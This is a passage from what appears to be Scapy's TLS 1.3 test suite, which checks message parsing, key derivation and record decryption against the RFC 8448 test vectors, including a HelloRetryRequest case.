TLSClientHello\nTLSClientHello in t1\n\n\n= Reading TLS 1.3 session - ClientHello\nch = t1.msg[0]\nassert isinstance(ch, TLSClientHello)\nassert ch.msgtype == 1\nassert ch.msglen == 192\nassert ch.version == 0x0303\nassert ch.gmt_unix_time == 0xcb34ecb1\nassert ch.random_bytes == b'\\xe7\\x81c\\xba\\x1c8\\xc6\\xda\\xcb\\x19jm\\xff\\xa2\\x1a\\x8d\\x99\\x12\\xec\\x18\\xa2\\xefb\\x83\\x02M\\xec\\xe7'\nassert ch.sidlen == 0\nassert not ch.sid\nassert ch.cipherslen == 6\nassert ch.ciphers == [4865, 4867, 4866]\nassert ch.complen == 1\nassert ch.comp == [0]\n\n\n= Reading TLS 1.3 session - ClientHello extensions\nfrom scapy.layers.tls.extensions import (TLS_Ext_ServerName,\nTLS_Ext_RenegotiationInfo, TLS_Ext_SupportedGroups, \nTLS_Ext_SessionTicket, TLS_Ext_SupportedVersion_CH,\nTLS_Ext_SignatureAlgorithms, TLS_Ext_PSKKeyExchangeModes, \nTLS_Ext_RecordSizeLimit) \n\nfrom scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH\n\nassert ch.extlen == 145\next = ch.ext\nassert len(ext) == 9\nassert isinstance(ext[0], TLS_Ext_ServerName)\nassert ext[0].type == 0\nassert ext[0].len == 11\nassert ext[0].servernameslen == 9\nassert len(ext[0].servernames) == 1\nassert ext[0].servernames[0].nametype == 0\nassert ext[0].servernames[0].namelen == 6\nassert ext[0].servernames[0].servername == b\"server\"\nassert isinstance(ext[1], TLS_Ext_RenegotiationInfo)\nassert not ext[1].renegotiated_connection\nassert isinstance(ext[2], TLS_Ext_SupportedGroups)\nassert ext[2].groups == [29, 23, 24, 25, 256, 257, 258, 259, 260]\nassert isinstance(ext[3], TLS_Ext_SessionTicket)\nassert not ext[3].ticket\nassert isinstance(ext[4], TLS_Ext_KeyShare_CH)\nassert ext[4].client_shares_len == 36\nassert len(ext[4].client_shares) == 1\nassert ext[4].client_shares[0].group == 29\nassert ext[4].client_shares[0].kxlen == 32\nassert ext[4].client_shares[0].key_exchange == b'\\x998\\x1d\\xe5`\\xe4\\xbdC\\xd2=\\x8eCZ}\\xba\\xfe\\xb3\\xc0nQ\\xc1<\\xaeMT\\x13i\\x1eR\\x9a\\xaf,'\nassert isinstance(ext[5],TLS_Ext_SupportedVersion_CH)\nassert ext[5].len == 3\nassert ext[5].versionslen == 2\nassert ext[5].versions == [772]\nassert isinstance(ext[6], TLS_Ext_SignatureAlgorithms)\nassert ext[6].sig_algs_len == 30\nassert len(ext[6].sig_algs) == 15\nassert ext[6].sig_algs[0] == 1027\nassert ext[6].sig_algs[-1] == 514\nassert isinstance(ext[7], TLS_Ext_PSKKeyExchangeModes)\nassert ext[7].kxmodeslen == 1\nassert ext[7].kxmodes[0] == 1\nassert isinstance(ext[8], TLS_Ext_RecordSizeLimit)\nassert ext[8].record_size_limit == 16385\n\n\n= Reading TLS 1.3 session - ServerHello\nfrom scapy.layers.tls.handshake import TLS13ServerHello\nfrom scapy.layers.tls.extensions import TLS_Ext_SupportedVersion_SH\nfrom scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_SH\n\nassert TLS13ServerHello in t2\nsh = t2.msg[0]\next = sh.ext\nassert isinstance(sh, TLS13ServerHello)\nassert sh.random_bytes == b'\\xa6\\xaf\\x06\\xa4\\x12\\x18`\\xdc^n`$\\x9c\\xd3L\\x95\\x93\\x0c\\x8a\\xc5\\xcb\\x144\\xda\\xc1Uw.\\xd3\\xe2i('\nassert sh.cipher == 0x1301\nassert len(sh.ext) == 2\nassert isinstance(ext[0], TLS_Ext_KeyShare_SH)\nassert ext[0].len == 36\nassert ext[0].server_share.group == 29\nassert ext[0].server_share.key_exchange == b'\\xc9\\x82\\x88v\\x11 \\x95\\xfefv+\\xdb\\xf7\\xc6r\\xe1V\\xd6\\xcc%;\\x83=\\xf1\\xddi\\xb1\\xb0Nu\\x1f\\x0f'\nassert isinstance(ext[1], TLS_Ext_SupportedVersion_SH)\nassert ext[1].version == 0x0304\n\n\n= Reading TLS 1.3 session - TLS parsing (with encryption) does not throw any error\nfrom scapy.layers.tls.record_tls13 import TLS13\nt3 = TLS13(serverEncHS, tls_session=t2.tls_session)\n\n\n= Reading TLS 1.3 session - TLS13 Record header\nassert t3.type == 0x17\nassert t3.version == 0x0303\nassert t3.len == 674\n\n\n= Reading TLS 1.3 session - TLS13 Record __getitem__\nTLS13 in t3\n\n= Reading TLS 1.3 session - TLS13 ApplicationData\nfrom scapy.layers.tls.record_tls13 import TLSInnerPlaintext\nTLSInnerPlaintext in t3\nassert len(t3.auth_tag) == 16\nassert t3.auth_tag == b'\\xbf\\x02S\\xfeQu\\xbe\\x89\\x8eu\\x0e\\xdcS7\\r+'\n\n\n+ Decrypt a TLS 1.3 session\n\n\n= Decrypt a TLS 1.3 session - Parse client Hello\n~ crypto_advanced\n\nfrom scapy.layers.tls.extensions import TLS_Ext_SessionTicket\n# Values from RFC8448, section 3\nx25519_clt_priv = clean(\"\"\"\n         49 af 42 ba 7f 79 94 85 2d 71 3e f2 78\n         4b cb ca a7 91 1d e2 6a dc 56 42 cb 63 45 40 e7 ea 50 05\n      \"\"\")\n\nx25519_clt_pub = clean(\"\"\"\n      99 38 1d e5 60 e4 bd 43 d2 3d 8e 43 5a 7d\n      ba fe b3 c0 6e 51 c1 3c ae 4d 54 13 69 1e 52 9a af 2c\n   \"\"\")\n\nt = TLS(clientHello)\nassert len(t.msg) == 1\nassert t.msg[0].msgtype == 1\nassert t.msg[0].extlen == 145\nassert len(t.msg[0].ext) == 9\ne = t.msg[0].ext\nassert isinstance(e[0], TLS_Ext_ServerName)\nassert isinstance(e[1], TLS_Ext_RenegotiationInfo)\nassert isinstance(e[2], TLS_Ext_SupportedGroups)\nassert isinstance(e[3],TLS_Ext_SessionTicket)\nassert e[3].len == 0\nassert isinstance(e[4], TLS_Ext_KeyShare_CH)\nassert len(e[4].client_shares) == 1\nassert e[4].client_shares[0].group == 29\nassert e[4].client_shares[0].key_exchange == x25519_clt_pub\nassert isinstance(e[5], TLS_Ext_SupportedVersion_CH)\nassert isinstance(e[6], TLS_Ext_SignatureAlgorithms)\nassert isinstance(e[7], TLS_Ext_PSKKeyExchangeModes)\nassert e[7].kxmodeslen == 1\nassert len(e[7].kxmodes) == 1\nassert e[7].kxmodes[0] == 1\nassert isinstance(e[8], TLS_Ext_RecordSizeLimit)\n\n\n= Decrypt a TLS 1.3 session - Parse server Hello\n~ crypto_advanced\n\nfrom cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey\nfrom scapy.layers.tls.crypto.pkcs1 import pkcs_os2ip\n\n# Values from RFC8448, section 3\nx25519_srv_priv = clean(\"\"\"\n        b1 58 0e ea df 6d d5 89 b8 ef 4f 2d 56\n        52 57 8c c8 10 e9 98 01 91 ec 8d 05 83 08 ce a2 16 a2 1e\n\"\"\")\n\nx25519_srv_pub = clean(\"\"\"\n        c9 82 88 76 11 20 95 fe 66 76 2b db f7 c6\n        72 e1 56 d6 cc 25 3b 83 3d f1 dd 69 b1 b0 4e 75 1f 0f     \n\"\"\") \n\nprivkey = X25519PrivateKey.from_private_bytes(x25519_clt_priv)\nt.tls_session.tls13_client_privshares[\"x25519\"] = privkey\n\nt = TLS(serverHello, tls_session=t.tls_session.mirror())\n\nassert len(t.msg) == 1\nassert isinstance(t.msg[0], TLS13ServerHello)\nassert len(t.msg[0].ext) == 2\ne = t.msg[0].ext\nassert isinstance(e[0], TLS_Ext_KeyShare_SH)\nassert e[0].server_share.group == 29\nassert e[0].server_share.key_exchange == x25519_srv_pub\nassert isinstance(e[1], TLS_Ext_SupportedVersion_SH)\n\n\n= Decrypt a TLS 1.3 session - Handshake traffic secret derivation \n~ crypto_advanced\n\n# Values from RFC8448, section 3\nearly_secret = clean(\"\"\"\n    33 ad 0a 1c 60 7e c0 3b 09 e6 cd 98 93 68 0c\n    e2 10 ad f3 00 aa 1f 26 60 e1 b2 2e 10 f1 70 f9 2a\n\"\"\")\n\necdhe_secret = clean(\"\"\"\n    8b d4 05 4f b5 5b 9d 63 fd fb ac f9 f0 4b 9f 0d\n    35 e6 d6 3f 53 75 63 ef d4 62 72 90 0f 89 49 2d\n\"\"\")\n\nhandshake_secret = clean(\"\"\"\n        1d c8 26 e9 36 06 aa 6f dc 0a ad c1 2f 74 1b\n        01 04 6a a6 b9 9f 69 1e d2 21 a9 f0 ca 04 3f be ac\n\"\"\")\n\nclient_handshake_traffic_secret = clean(\"\"\"\n        b3 ed db 12 6e 06 7f 35 a7 80 b3 ab f4 5e\n        2d 8f 3b 1a 95 07 38 f5 2e 96 00 74 6a 0e 27 a5 5a 21\n\"\"\")\n\nserver_handshake_traffic_secret = clean(\"\"\"\n        b6 7b 7d 69 0c c1 6c 4e 75 e5 42 13 cb 2d\n        37 b4 e9 c9 12 bc de d9 10 5d 42 be fd 59 d3 91 ad 38\n\"\"\")\n\nassert len(t.tls_session.tls13_derived_secrets) == 5\nassert t.tls_session.tls13_early_secret is not None\nassert t.tls_session.tls13_early_secret == early_secret\nassert t.tls_session.tls13_dhe_secret == ecdhe_secret\nassert t.tls_session.tls13_handshake_secret is not None\nassert t.tls_session.tls13_handshake_secret == handshake_secret\nassert  'client_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets\nassert  t.tls_session.tls13_derived_secrets['client_handshake_traffic_secret'] == client_handshake_traffic_secret\nassert  'server_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets\nassert t.tls_session.tls13_derived_secrets['server_handshake_traffic_secret'] == server_handshake_traffic_secret\n\n\n= Decrypt a TLS 1.3 session - Server handshake traffic key calculation \n~ crypto_advanced\n\n# Values from RFC8448, section 3\nserver_hs_traffic_key = clean(\"\"\"\n             3f ce 51 60 09 c2 17 27 d0 f2 e4 e8 6e\n             e4 03 bc\n\"\"\")\n\nserver_hs_traffic_iv = clean(\"\"\"\n             5d 31 3e b2 67 12 76 ee 13 00 0b 30\n\"\"\")\n\nassert t.tls_session.prcs.cipher.key == server_hs_traffic_key\nassert t.tls_session.prcs.cipher.fixed_iv == server_hs_traffic_iv\n\n= Decrypt a TLS 1.3 session - Decrypt and parse server encrypted handshake\n~ crypto_advanced\n\n# Values from RFC8448, section 3\nserver_finished = clean(\"\"\"\n         88 63 e6 bf b0 42 0a 92 7f a2 7f 34 33 6a\n         70 ae 42 6e 96 8e 3e b8 84 94 5b 96 85 6d ba 39 76 d1\n   \"\"\")\n\nt = TLS13(serverEncHS, tls_session=t.tls_session)\nassert t.deciphered_len == 658\nassert t.inner.type == 22\nassert len(t.inner.msg) == 4\nassert t.auth_tag == b'\\xbf\\x02S\\xfeQu\\xbe\\x89\\x8eu\\x0e\\xdcS7\\r+'\n\nm = t.inner.msg\n\n= Decrypt a TLS 1.3 session - Parse decrypted EncryptedExtension\n~ crypto_advanced\n\nfrom scapy.layers.tls.handshake import TLSEncryptedExtensions\nassert isinstance(m[0], TLSEncryptedExtensions)\nassert m[0].msgtype == 8\nassert m[0].msglen == 36\nassert m[0].extlen == 34\nassert len(m[0].ext) == 3\nassert isinstance(m[0].ext[0], TLS_Ext_SupportedGroups)\nassert m[0].ext[0].groupslen == 18\nassert m[0].ext[0].groups == [29, 23, 24, 25, 256, 257, 258, 259, 260]\nassert isinstance(m[0].ext[1], TLS_Ext_RecordSizeLimit)\nassert m[0].ext[1].record_size_limit == 16385\nassert isinstance(m[0].ext[2], TLS_Ext_ServerName)\nassert m[0].ext[2].len == 0\n\n= Decrypt a TLS 1.3 session - Parse decrypted TLS13Certificate\n~ crypto_advanced\n\nfrom scapy.layers.tls.cert import Cert\nfrom scapy.layers.tls.handshake import (_ASN1CertAndExt, TLS13Certificate)\n\nassert isinstance(m[1], TLS13Certificate)\nassert m[1].msgtype == 11\nassert m[1].msglen == 441\nassert m[1].cert_req_ctxt_len == 0\nassert m[1].cert_req_ctxt == b''\nassert m[1].certslen == 437\nassert len(m[1].certs) == 1\nassert isinstance(m[1].certs[0], _ASN1CertAndExt)\nassert m[1].certs[0].cert[0] == 432\nassert isinstance(m[1].certs[0].cert[1], Cert)\nassert m[1].certs[0].cert[1].cA == False\nassert m[1].certs[0].cert[1].isSelfSigned() == True\nassert m[1].certs[0].cert[1].issuer['commonName'] == 'rsa'\nassert m[1].certs[0].cert[1].keyUsage == ['digitalSignature', 'keyEncipherment']\nassert m[1].certs[0].cert[1].notAfter_str == '2026-07-30 01:23:59 UTC'\nassert m[1].certs[0].cert[1].notBefore_str == '2016-07-30 01:23:59 UTC'\nassert m[1].certs[0].cert[1].serial == 2\nassert m[1].certs[0].cert[1].sigAlg == 'sha256WithRSAEncryption'\nassert m[1].certs[0].cert[1].signatureLen == 128\nassert m[1].certs[0].cert[1].subject['commonName'] == 'rsa'\nassert m[1].certs[0].cert[1].version == 3\n\n\n= Decrypt a TLS 1.3 session - Parse decrypted TLSCertificateVerify\n~ crypto_advanced\n\nfrom scapy.layers.tls.handshake import TLSCertificateVerify\nfrom scapy.layers.tls.keyexchange import _TLSSignature\nassert isinstance(m[2], TLSCertificateVerify)\nassert isinstance(m[2], TLSCertificateVerify)\nassert m[2].msgtype == 15\nassert m[2].msglen == 132\nassert isinstance(m[2].sig, _TLSSignature)\nassert m[2].sig.sig_alg == 2052\nassert m[2].sig.sig_len == 128\nassert m[2].sig.sig_val == b\"Zt|]\\x88\\xfa\\x9b\\xd2\\xe5Z\\xb0\\x85\\xa6\\x10\\x15\\xb7!\\x1f\\x82L\\xd4\\x84\\x14Z\\xb3\\xffR\\xf1\\xfd\\xa8G{\\x0bz\\xbc\\x90\\xdbx\\xe2\\xd3:\\\\\\x14\\x1a\\x07\\x86S\\xfak\\xefx\\x0c^\\xa2H\\xee\\xaa\\xa7\\x85\\xc4\\xf3\\x94\\xca\\xb6\\xd3\\x0b\\xbe\\x8dHY\\xeeQ\\x1f`)W\\xb1T\\x11\\xac\\x02vqE\\x9eFD\\\\\\x9e\\xa5\\x8c\\x18\\x1e\\x81\\x8e\\x95\\xb8\\xc3\\xfb\\x0b\\xf3'\\x84\\t\\xd3\\xbe\\x15*=\\xa5\\x04>\\x06=\\xdae\\xcd\\xf5\\xae\\xa2\\rS\\xdf\\xac\\xd4/t\\xf3\"\n\n= Decrypt a TLS 1.3 session - Parse decrypted TLSFinished\n~ crypto_advanced\nfrom scapy.layers.tls.handshake import TLSFinished\n# Values from RFC8448, section 3\nserver_finished = clean(\"\"\"\n         9b 9b 14 1d 90 63 37 fb d2 cb dc e7 1d f4\n         de da 4a b4 2c 30 95 72 cb 7f ff ee 54 54 b7 8f 07 18\n   \"\"\")\nassert isinstance(m[3], TLSFinished)\nassert m[3].msgtype == 20\nassert m[3].msglen == 32\nassert m[3].vdata == server_finished\n\n\n= Decrypt a TLS 1.3 session - Client handshake traffic key calculation\n~ crypto_advanced\n# Values from RFC8448, section 3\nclient_hs_traffic_key = clean(\"\"\"\n         db fa a6 93 d1 76 2c 5b 66 6a f5 d9 50\n         25 8d 01\n   \"\"\")\nclient_hs_traffic_iv = clean(\"\"\"\n          5b d3 c7 1b 83 6e 0b 76 bb 73 26 5f\n   \"\"\")\n\nassert t.tls_session.pwcs.cipher.key == client_hs_traffic_key\nassert t.tls_session.pwcs.cipher.fixed_iv == client_hs_traffic_iv\n\n= Decrypt a TLS 1.3 session - Decrypt and parse client encrypted handshake \n~ crypto_advanced\n# Values from RFC8448, section 3\nclient_finished = clean(\"\"\"\n         a8 ec 43 6d 67 76 34 ae 52 5a c1 fc eb e1\n         1a 03 9e c1 76 94 fa c6 e9 85 27 b6 42 f2 ed d5 ce 61\n   \"\"\")\n\nt = TLS13(clientEncHS, tls_session=t.tls_session.mirror())\nassert t.deciphered_len == 37\nassert t.inner.type == 22\nassert len(t.inner.msg) == 1\nm = t.inner.msg\nassert isinstance(m[0], TLSFinished)\nassert m[0].vdata == client_finished\n\n= Decrypt a TLS 1.3 session - Application traffic secret derivation\n~ crypto_advanced\n# Values from RFC8448, section 3\nmaster_secret = clean(\"\"\"\n         18 df 06 84 3d 13 a0 8b f2 a4 49 84 4c 5f 8a\n         47 80 01 bc 4d 4c 62 79 84 d5 a4 1d a8 d0 40 29 19\n   \"\"\")\n\nclient_application_traffic_secret_0 = clean(\"\"\"\n         9e 40 64 6c e7 9a 7f 9d c0 5a f8 88 9b ce\n         65 52 87 5a fa 0b 06 df 00 87 f7 92 eb b7 c1 75 04 a5\n   \"\"\")\n\nserver_application_traffic_secret_0 = clean(\"\"\"\n         a1 1a f9 f0 55 31 f8 56 ad 47 11 6b 45 a9\n         50 32 82 04 b4 f4 4b fb 6b 3a 4b 4f 1f 3f cb 63 16 43\n   \"\"\")\n\n\nexporter_master_secret = clean(\"\"\"\n         fe 22 f8 81 17 6e da 18 eb 8f 44 52 9e 67\n         92 c5 0c 9a 3f 89 45 2f 68 d8 ae 31 1b 43 09 d3 cf 50\n   \"\"\")\n\nresumption_master_secret = clean(\"\"\"\n         7d f2 35 f2 03 1d 2a 05 12 87 d0 2b 02 41\n         b0 bf da f8 6c c8 56 23 1f 2d 5a ba 46 c4 34 ec 19 6c\n   \"\"\")\n\n\nassert t.tls_session.tls13_master_secret is not None\nassert t.tls_session.tls13_master_secret == master_secret\n\nassert len(t.tls_session.tls13_derived_secrets) == 9\nassert 'client_traffic_secrets' in  t.tls_session.tls13_derived_secrets\nassert len(t.tls_session.tls13_derived_secrets['client_traffic_secrets']) == 1\nassert t.tls_session.tls13_derived_secrets['client_traffic_secrets'][0] == client_application_traffic_secret_0\n\nassert 'server_traffic_secrets' in  t.tls_session.tls13_derived_secrets\nassert len(t.tls_session.tls13_derived_secrets['server_traffic_secrets']) == 1\nassert t.tls_session.tls13_derived_secrets['server_traffic_secrets'][0] == server_application_traffic_secret_0\n\nassert 'exporter_secret' in t.tls_session.tls13_derived_secrets\nassert t.tls_session.tls13_derived_secrets['exporter_secret'] == exporter_master_secret\n\nassert 'resumption_secret' in t.tls_session.tls13_derived_secrets\nassert t.tls_session.tls13_derived_secrets['resumption_secret'] == resumption_master_secret\n\n= Decrypt a TLS 1.3 session - Application traffic keys calculation \n~ crypto_advanced\n# Values from RFC8448, section 3\nclient_ap_traffic_key = clean(\"\"\"\n         17 42 2d da 59 6e d5 d9 ac d8 90 e3 c6\n         3f 50 51\n   \"\"\")\n\nclient_ap_traffic_iv = clean(\"\"\"\n          5b 78 92 3d ee 08 57 90 33 e5 23 d9\n   \"\"\")\n\nserver_ap_traffic_key = clean(\"\"\"\n         9f 02 28 3b 6c 9c 07 ef c2 6b b9 f2 ac\n         92 e3 56\n   \"\"\")\n\nserver_ap_traffic_iv = clean(\"\"\"\n        cf 78 2b 88 dd 83 54 9a ad f1 e9 84\n   \"\"\")\n\nassert t.tls_session.rcs.cipher.key == client_ap_traffic_key\nassert t.tls_session.rcs.cipher.fixed_iv == client_ap_traffic_iv\nassert t.tls_session.wcs.cipher.key == server_ap_traffic_key\nassert t.tls_session.wcs.cipher.fixed_iv == server_ap_traffic_iv\n\n= Decrypt a TLS 1.3 session - Decrypt and parse server NewSessionTicket\n~ crypto_advanced\nfrom scapy.layers.tls.extensions import TLS_Ext_EarlyDataIndicationTicket\n# Value from RFC8448, section 3\nserverEncTicket = clean(\"\"\"\n         17 03 03 00 de 3a 6b 8f 90 41 4a 97\n         d6 95 9c 34 87 68 0d e5 13 4a 2b 24 0e 6c ff ac 11 6e 95 d4 1d\n         6a f8 f6 b5 80 dc f3 d1 1d 63 c7 58 db 28 9a 01 59 40 25 2f 55\n         71 3e 06 1d c1 3e 07 88 91 a3 8e fb cf 57 53 ad 8e f1 70 ad 3c\n         73 53 d1 6d 9d a7 73 b9 ca 7f 2b 9f a1 b6 c0 d4 a3 d0 3f 75 e0\n         9c 30 ba 1e 62 97 2a c4 6f 75 f7 b9 81 be 63 43 9b 29 99 ce 13\n         06 46 15 13 98 91 d5 e4 c5 b4 06 f1 6e 3f c1 81 a7 7c a4 75 84\n         00 25 db 2f 0a 77 f8 1b 5a b0 5b 94 c0 13 46 75 5f 69 23 2c 86\n         51 9d 86 cb ee ac 87 aa c3 47 d1 43 f9 60 5d 64 f6 50 db 4d 02\n         3e 70 e9 52 ca 49 fe 51 37 12 1c 74 bc 26 97 68 7e 24 87 46 d6\n         df 35 30 05 f3 bc e1 86 96 12 9c 81 53 55 6b 3b 6c 67 79 b3 7b\n         f1 59 85 68 4f\n         \"\"\")\nt = TLS13(serverEncTicket, tls_session=t.tls_session.mirror())\n\nassert t.deciphered_len == 206\nassert t.inner.type == 22\nassert t.auth_tag == b'\\x9c\\x81SUk;lgy\\xb3{\\xf1Y\\x85hO'\nassert len(t.inner.msg) == 1\nm = t.inner.msg[0]\nassert m.msgtype == 4\nassert m.ticket_lifetime == 30\nassert m.ticket_age_add == 4208372421\nassert m.noncelen == 2\nassert len(m.ticket_nonce) == 2\nassert m.ticket_nonce == b'\\x00\\x00'\nassert m.ticket == b',\\x03]\\x82\\x93Y\\xee_\\xf7\\xafN\\xc9\\x00\\x00\\x00\\x00&*d\\x94\\xdcHm,\\x8a4\\xcb3\\xfa\\x90\\xbf\\x1b\\x00p\\xad<I\\x88\\x83\\xc96|\\t\\xa2\\xbexZ\\xbcU\\xcd\"`\\x97\\xa3\\xa9\\x82\\x11r\\x83\\xf8*\\x03\\xa1C\\xef\\xd3\\xff]\\xd3md\\xe8a\\xbe\\x7f\\xd6\\x1d(\\'\\xdb\\'\\x9c\\xce\\x14Pw\\xd4T\\xa3fMNm\\xa4\\xd2\\x9e\\xe07%\\xa6\\xa4\\xda\\xfc\\xd0\\xfcg\\xd2\\xae\\xa7\\x05)Q>=\\xa2g\\x7f\\xa5\\x90l[?}\\x8f\\x92\\xf2(\\xbd\\xa4\\r\\xdar\\x14p\\xf9\\xfb\\xf2\\x97\\xb5\\xae\\xa6\\x17do\\xac\\\\\\x03\\'.\\x97\\x07\\'\\xc6!\\xa7\\x91A\\xef_}\\xe6P^[\\xfb\\xc3\\x88\\xe93Ci@\\x93\\x93J\\xe4\\xd3W'\nassert len(m.ext) == 1\nassert isinstance(m.ext[0], TLS_Ext_EarlyDataIndicationTicket)\nassert m.ext[0].max_early_data_size == 1024\n\n\n= Decrypt a TLS 1.3 session - Compute the PSK associated with the ticket\n~ crypto_advanced\nfrom scapy.layers.tls.crypto.hkdf import TLS13_HKDF\nhash_len = t.tls_session.rcs.ciphersuite.hash_alg.hash_len\nhkdf = TLS13_HKDF(t.tls_session.rcs.ciphersuite.hash_alg.name.lower())\ntls13_psk_secret = hkdf.expand_label(t.tls_session.tls13_derived_secrets['resumption_secret'],\n                                     b\"resumption\",\n                                     m.ticket_nonce,\n                                     hash_len)\n\n# Value from RFC8448, section 3\npsk_resumption = clean(\"\"\"\n         4e cd 0e b6 ec 3b 4d 87 f5 d6 02 8f 92 2c\n         a4 c5 85 1a 27 7f d4 13 11 c9 e6 2d 2c 94 92 e1 c4 f3\n      \"\"\")\n\nassert hash_len == 32 \nassert tls13_psk_secret == psk_resumption\n\n= Decrypt a TLS 1.3 session - Decrypt and parse client Application Data\n~ crypto_advanced\nfrom scapy.layers.tls.record import TLSApplicationData\n# Values from RFC8448, section 3\npayload = clean(\"\"\"\n         00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e\n         0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23\n         24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31\n   \"\"\")\n\n\nclientEncAppData = clean(\"\"\"\n         17 03 03 00 43 a2 3f 70 54 b6 2c 94\n         d0 af fa fe 82 28 ba 55 cb ef ac ea 42 f9 14 aa 66 bc ab 3f 2b\n         98 19 a8 a5 b4 6b 39 5b d5 4a 9a 20 44 1e 2b 62 97 4e 1f 5a 62\n         92 a2 97 70 14 bd 1e 3d ea e6 3a ee bb 21 69 49 15 e4\n      \"\"\")\nt = TLS13(clientEncAppData, tls_session=t.tls_session.mirror())\n\nassert t.deciphered_len == 51\nassert len(t.inner.msg) == 1\nassert t.inner.type == 23\nm = t.inner.msg[0]\nassert isinstance(m, TLSApplicationData)\nassert m.data == payload\n\n= Decrypt a TLS 1.3 session - Decrypt and parse server Application Data\n~ crypto_advanced\n# Values from RFC8448, section 3\npayload = clean(\"\"\"\n         00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e\n         0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23\n         24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31\n   \"\"\")\n\nserverEncAppData = clean(\"\"\"\n         17 03 03 00 43 2e 93 7e 11 ef 4a c7\n         40 e5 38 ad 36 00 5f c4 a4 69 32 fc 32 25 d0 5f 82 aa 1b 36 e3\n         0e fa f9 7d 90 e6 df fc 60 2d cb 50 1a 59 a8 fc c4 9c 4b f2 e5\n         f0 a2 1c 00 47 c2 ab f3 32 54 0d d0 32 e1 67 c2 95 5d\n      \"\"\")\n\nt = TLS13(serverEncAppData, tls_session=t.tls_session.mirror())\nassert t.deciphered_len == 51\nassert len(t.inner.msg) == 1\nassert t.inner.type == 23\nm = t.inner.msg[0]\nassert isinstance(m, TLSApplicationData)\nassert m.data == payload\n\n= Decrypt a TLS 1.3 session - Decrypt client Alert\n~ crypto_advanced\nfrom scapy.layers.tls.record import TLSAlert\n# Value from RFC8448, section 3\nclientEncAlert = clean(\"\"\"\n         17 03 03 00 13 c9 87 27 60 65 56 66\n         b7 4d 7f f1 15 3e fd 6d b6 d0 b0 e3\n   \"\"\")\n\nt = TLS13(clientEncAlert, tls_session=t.tls_session.mirror())\nassert t.deciphered_len == 3\nassert len(t.inner.msg) == 1\nassert t.inner.type == 21\nm = t.inner.msg[0]\nassert isinstance(m, TLSAlert)\nassert m.level == 1\nassert m.descr == 0\n\n= Decrypt a TLS 1.3 session - Decrypt server Alert\n~ crypto_advanced\n# Value from RFC8448, section 3\nserverEncAlert = clean(\"\"\"\n         17 03 03 00 13 b5 8f d6 71 66 eb f5\n         99 d2 47 20 cf be 7e fa 7a 88 64 a9\n   \"\"\")\nt = TLS13(serverEncAlert, tls_session=t.tls_session.mirror())\nassert t.deciphered_len == 3\nassert len(t.inner.msg) == 1\nassert t.inner.type == 21\nm = t.inner.msg[0]\nassert isinstance(m, TLSAlert)\nassert m.level == 1\nassert m.descr == 0\n\n\n########### HelloRetryRequest ###############################################\n+ Decrypt a TLS 1.3 session with a retry\n\n= Decrypt a TLS 1.3 session with a retry - Parse first ClientHello\n# Values from RFC8448, section 5\nx25519_clt_priv = clean(\"\"\"\n         0e d0 2f 8e 81 17 ef c7 5c a7 ac 32 aa\n         7e 34 ed a6 4c dc 0d da d1 54 a5 e8 52 89 f9 59 f6 32 04\n   \"\"\")\n\nx25519_clt_pub = clean(\"\"\"\n         e8 e8 e3 f3 b9 3a 25 ed 97 a1 4a 7d ca cb\n         8a 27 2c 62 88 e5 85 c6 48 4d 05 26 2f ca d0 62 ad 1f\n   \"\"\")\n\nclientHello1 = clean(\"\"\"\n         16 03 01 00 b4 01 00 00 b0 03 03 b0\n         b1 c5 a5 aa 37 c5 91 9f 2e d1 d5 c6 ff f7 fc b7 84 97 16 94 5a\n         2b 8c ee 92 58 a3 46 67 7b 6f 00 00 06 13 01 13 03 13 02 01 00\n         00 81 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01\n         00 00 0a 00 08 00 06 00 1d 00 17 00 18 00 33 00 26 00 24 00 1d\n         00 20 e8 e8 e3 f3 b9 3a 25 ed 97 a1 4a 7d ca cb 8a 27 2c 62 88\n         e5 85 c6 48 4d 05 26 2f ca d0 62 ad 1f 00 2b 00 03 02 03 04 00\n         0d 00 20 00 1e 04 03 05 03 06 03 02 03 08 04 08 05 08 06 04 01\n         05 01 06 01 02 01 04 02 05 02 06 02 02 02 00 2d 00 02 01 01 00\n         1c 00 02 40 01\n   \"\"\")\n\nt = TLS(clientHello1)\nassert len(t.msg) == 1\nassert t.msg[0].msgtype == 1\nassert t.msg[0].extlen == 129\nassert len(t.msg[0].ext) == 8\ne = t.msg[0].ext\nassert isinstance(e[0], TLS_Ext_ServerName)\nassert isinstance(e[1], TLS_Ext_RenegotiationInfo)\nassert isinstance(e[2], TLS_Ext_SupportedGroups)\nassert isinstance(e[3],TLS_Ext_KeyShare_CH)\nassert len(e[3].client_shares) == 1\nassert e[3].client_shares[0].group == 29\nassert e[3].client_shares[0].key_exchange == x25519_clt_pub\nassert isinstance(e[4], TLS_Ext_SupportedVersion_CH)\nassert isinstance(e[5], TLS_Ext_SignatureAlgorithms)\nassert isinstance(e[6], TLS_Ext_PSKKeyExchangeModes)\nassert e[6].kxmodeslen == 1\nassert len(e[6].kxmodes) == 1\nassert e[6].kxmodes[0] == 1\nassert isinstance(e[7], TLS_Ext_RecordSizeLimit)\n\n\n\nsecp256_srv_pub = clean(\"\"\"\n         8c 51 06 01 f9 76 5b fb 8e d6 93 44 9a\n         48 98 98 59 b5 cf a8 79 cb 9f 54 43 c4 1c 5f f1 06 34 ed\n   \"\"\")\n\nsecp256_srv_pub = clean(\"\"\"\n         04 58 3e 05 4b 7a 66 67 2a e0 20 ad 9d 26\n         86 fc c8 5b 5a d4 1a 13 4a 0f 03 ee 72 b8 93 05 2b d8 5b 4c 8d\n         e6 77 6f 5b 04 ac 07 d8 35 40 ea b3 e3 d9 c5 47 bc 65 28 c4 31\n         7d 29 46 86 09 3a 6c ad 7d\n   \"\"\")\n\n\n\n= Decrypt a TLS 1.3 session with a retry - Parse ServerHelloRetryRequest\nfrom scapy.layers.tls.keyexchange_tls13 import 